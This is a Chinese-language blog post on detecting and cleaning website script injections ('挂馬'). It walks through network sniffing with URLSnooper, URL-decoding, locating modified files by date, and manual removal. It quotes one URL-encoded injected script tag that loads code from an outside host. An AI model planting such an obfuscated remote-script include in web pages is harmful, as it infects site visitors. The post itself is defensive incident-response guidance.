網站挂馬檢測與清除
陳小兵
據不完全統計,90%的網站都被挂過馬,挂馬是指在擷取網站或者網站伺服器的部分或者全部權限後,在網頁檔案中插入一段惡意代碼,這些惡意代碼主要是一些包括IE等漏洞利用代碼,使用者通路被挂馬的頁面時,如果系統沒有更新惡意代碼中利用的漏洞更新檔,則會執行惡意代碼程式,進行盜号等危險超過。目前挂馬主要是為了商業利益,有的挂馬是為了賺取流量,有的是為了盜取遊戲等賬号,也有的是為了好玩,不管是處于那種目的,對于通路被挂馬的網站來說都是一種潛在的威脅,影響營運網站公司形象。
當一個網站營運很長時間後,網站檔案會非常多,手工檢視網頁檔案代碼非常困難,防毒軟體僅僅對惡意代碼進行清除,對網頁木馬以及挂馬程式不一定全部清除,本文就如何利用一些安全檢測工具軟體來檢測和清除網站木馬方面進行探讨,使用本文提及的工具可以很輕松的檢測網站是否被挂馬。
一、檢測網頁木馬程式
1.安裝urlsnooper 軟體
圖1 安裝正确後的界面
注意:
如果未出現圖1所示界面,說明程式設定存在問題,筆者在測試時使用發現該程式無法檢測無線網卡,是以無法在無限網絡中使用。
2.對網站進行偵測
在Urlsnooper中的“Protocol Filter”中選擇“Show All”,然後單擊“Sniff Network”按鈕開始監聽網絡。接着使用IE浏覽器打開需要進行檢測木馬的網站,Urlsnooper會自動抓取網站中的所有連接配接,在Index中按照五位數字序号進行排列,如圖2所示。
圖2 監聽結果
說明:
在偵測結果中可能包含的連接配接位址非常多,這個時候就需要進行排查,可以選中每一個記錄,Urlsnooper會在下方中顯示詳細的監聽結果,如圖2所示,就發現存在一段挂馬代碼:<script src=http://%61%76%65%31%2E%63%6E></script>
在百度搜尋中對其進行搜尋,如圖3所示,有30多項搜尋結果,從查詢結果可以輔佐證明該段代碼為挂馬代碼。
圖3 搜尋結果
說明:要善于運用網絡搜尋引擎,通過搜尋可以知道目前關于該問題的描述和解決方法等。
3.對位址進行解碼
表1 編碼對應表
原值
解碼前的值
backspace
%08
I
%49
u
%75
tab
%09
J
%4A
v
%76
linefeed
%0A
K
%4B
w
%77
creturn
%0D
L
%4C
x
%78
space
%20
M
%4D
y
%79
!
%21
N
%4E
z
%7A
"
%22
O
%4F
{
%7B
#
%23
P
%50
|
%7C
$
%24
Q
%51
}
%7D
%
%25
R
%52
&
%26
S
%53
'
%27
T
%54
(
%28
U
%55
)
%29
V
%56
*
%2A
W
%57
+
%2B
X
%58
,
%2C
Y
%59
-
%2D
Z
%5A
.
%2E
[
%5B
/
%2F
\
%5C
%30
]
%5D
1
%31
^
%5E
2
%32
_
%5F
3
%33
`
%60
4
%34
a
%61
5
%35
b
%62
6
%36
c
%63
7
%37
d
%64
8
%38
e
%65
9
%39
f
%66
:
%3A
g
%67
;
%3B
h
%68
<
%3C
i
%69
=
%3D
j
%6A
>
%3E
k
%6B
?
%3F
l
%6C
@
%40
m
%6D
A
%41
n
%6E
B
%42
o
%6F
C
%43
p
%70
D
%44
q
%71
E
%45
r
%72
F
%46
s
%73
G
%47
t
%74
H
%48
u
4.擷取該網站相關内容
圖4 使用“站點資源探索器”擷取站點資源
使用“Flashget站點資源探索器”可以很友善的擷取挂馬者代碼位址中的一些資源,這些資源可能是挂馬的真實代碼,透過這些代碼可以知道挂馬者是采用哪個漏洞,有時候還可以擷取0day。
在本例中由于時間較長,挂馬者已經撤銷了原來的挂馬程式檔案,在該網站中擷取的html檔案沒有用處,且有些檔案已經不存在了,無法對原代碼檔案進行分析。
二、清除網站中的惡意代碼(挂馬代碼)
1.确定挂馬檔案
清除網站惡意代碼首先需要知道哪些檔案被挂馬了,判斷方法有三個,方法一就是通過直接檢視代碼,從中找出挂馬代碼;方法二是通過檢視網站目錄修改時間,通過時間進行判斷;方法三使用本文提到的軟體進行直接定位,通過監聽找出惡意代碼。在本案例中,網站首頁是被确認挂馬了,通過檢視時間知道被挂馬時間是8月25日左右,是以可以通過使用資料總管中的搜尋功能,初步定位時間為8月24日至26日,搜尋這個時間範圍修改或者産生的檔案,如圖5,圖6所示,搜尋出來幾十個這個時間段的檔案。
圖5 搜尋被修改檔案
圖6 搜尋結果
2.清除惡意代碼
可以使用記事本打開代碼檔案從中清除惡意代碼,在清除代碼時一定要注意不要使用FrontPage的預覽或者設計,否則會直接通路挂馬網站,感染木馬程式。建議使用記事本等文本編輯器。在清除惡意代碼過程中,發現挂馬者竟然對js檔案也不放過,如圖7所示。
圖7 對js檔案進行挂馬
技巧:
可以使用Frontpage中的替換功能替換目前站點中的所有指定代碼。
總結
本文操作簡單,寫起來比較複雜,關鍵在于使用urlsnooper軟體定位挂馬網頁檔案,然後就是對挂馬代碼(惡意代碼)進行分析,最後是手工活,清除網站中的惡意代碼。
本文轉自 simeon2005 51CTO部落格,原文連結:http://blog.51cto.com/simeon/101784